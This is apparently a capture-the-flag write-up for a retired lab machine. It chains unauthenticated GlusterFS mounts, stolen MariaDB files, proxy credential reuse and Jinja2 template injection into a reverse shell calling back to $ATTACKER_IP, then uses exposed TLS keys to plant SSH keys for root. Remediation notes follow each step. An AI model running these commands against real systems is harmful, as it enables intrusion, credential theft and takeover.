Flustered
Summary
I reached an internet-facing GlusterFS cluster, listed its volumes without any credentials, and mounted a data volume that held a live MariaDB database directory. Parsing those database files offline recovered a username and password for a Squid HTTP forward proxy on the same host.
Authenticating to the proxy unlocked a local-only web application whose source code revealed a Jinja2 template rendered directly from unsanitised user input, yielding OS-level code execution and a foothold shell. On the compromised host, the TLS client certificate and private key protecting the second GlusterFS volume (mounted system-wide as /home) were stored with world-readable permissions.
Copying those files to the attack machine and mounting the volume with mutual TLS gave unrestricted write access to every user home directory, sidestepping the OS permission model entirely. An SSH public key planted in a regular user account produced the user flag; the same operation against the root account delivered full system ownership.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
sudo nmap -sV -p- --min-rate 5000 -oN flustered_full.txt $TARGETsudo nmap -sV -p 22,80,111,3128,24007,49152,49153 $TARGETExact commands 5
sudo apt install -y glusterfs-clientecho "$TARGET flustered.htb" | sudo tee -a /etc/hostsgluster --remote-host=$TARGET volume listsudo mkdir -p /mnt/vol2 && sudo mount -t glusterfs $TARGET:/vol2 /mnt/vol2ls -la /mnt/vol2/var/lib/mysql/FixRequire mutual TLS and source-IP restrictions for all GlusterFS volumesCritical
Exact commands 4
sudo cp -r /mnt/vol2/var/lib/mysql /tmp/stolen_mysql && sudo chown -R mysql:mysql /tmp/stolen_mysqlsudo systemctl stop mariadb && sudo rsync -a /tmp/stolen_mysql/ /var/lib/mysql/ && sudo systemctl start mariadbmysql -u root -e "SHOW DATABASES;"mysql -u root -e "SELECT * FROM <proxy_db>.<credentials_table>;"FixRemove live database files from GlusterFS volumes and rotate all extracted credentialsCritical
Exact commands 2
curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/<source_path>FixRestrict Squid proxy access to known internal source IPsHigh
Exact commands 3
curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 'http://127.0.0.1/<vuln_endpoint>?<param>=%7B%7B7*7%7D%7D'nc -lvnp 4444curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 --data-urlencode "<param>={{config.__class__.__init__.__globals__['os'].popen('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'').read()}}" http://127.0.0.1/<vuln_endpoint>FixPass user input as template data, never as the template string itselfCritical
Exact commands 3
find /etc/ssl /etc/glusterfs /var/lib/glusterd -readable \( -name '*.pem' -o -name '*.key' -o -name '*.ca' \) 2>/dev/nullcat /etc/ssl/glusterfs.pem /etc/ssl/glusterfs.key /etc/ssl/glusterfs.caopenssl verify -CAfile glusterfs.ca glusterfs.pemFixRestrict GlusterFS TLS private key to root-only read and rotate the exposed certificateHigh
Exact commands 6
sudo cp glusterfs.pem /etc/ssl/glusterfs.pem && sudo cp glusterfs.key /etc/ssl/glusterfs.key && sudo cp glusterfs.ca /etc/ssl/glusterfs.casudo touch /var/lib/glusterd/secure-accesssudo mkdir -p /mnt/vol1 && sudo mount -t glusterfs $TARGET:/vol1 /mnt/vol1ls /mnt/vol1/mkdir -p /mnt/vol1/<user>/.ssh && echo "$(cat ~/.ssh/id_rsa.pub)" >> /mnt/vol1/<user>/.ssh/authorized_keys && chmod 700 /mnt/vol1/<user>/.ssh && chmod 600 /mnt/vol1/<user>/.ssh/authorized_keysssh -i ~/.ssh/id_rsa <user>@$TARGET 'cat ~/user.txt'Exact commands 2
mkdir -p /mnt/vol1/root/.ssh && echo "$(cat ~/.ssh/id_rsa.pub)" >> /mnt/vol1/root/.ssh/authorized_keys && chmod 700 /mnt/vol1/root/.ssh && chmod 600 /mnt/vol1/root/.ssh/authorized_keysssh -i ~/.ssh/id_rsa root@$TARGET 'cat /root/root.txt'FixNever back /home or /root with a remotely mountable distributed filesystem volumeCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http nginx 1.14.2 |
| 111/tcp | rpcbind 2-4 (RPC #100000) |
| 24007/tcp | rpcbind |
| 49152/tcp | unknown recon-sweep-discovered |
| 49153/tcp | unknown recon-sweep-discovered |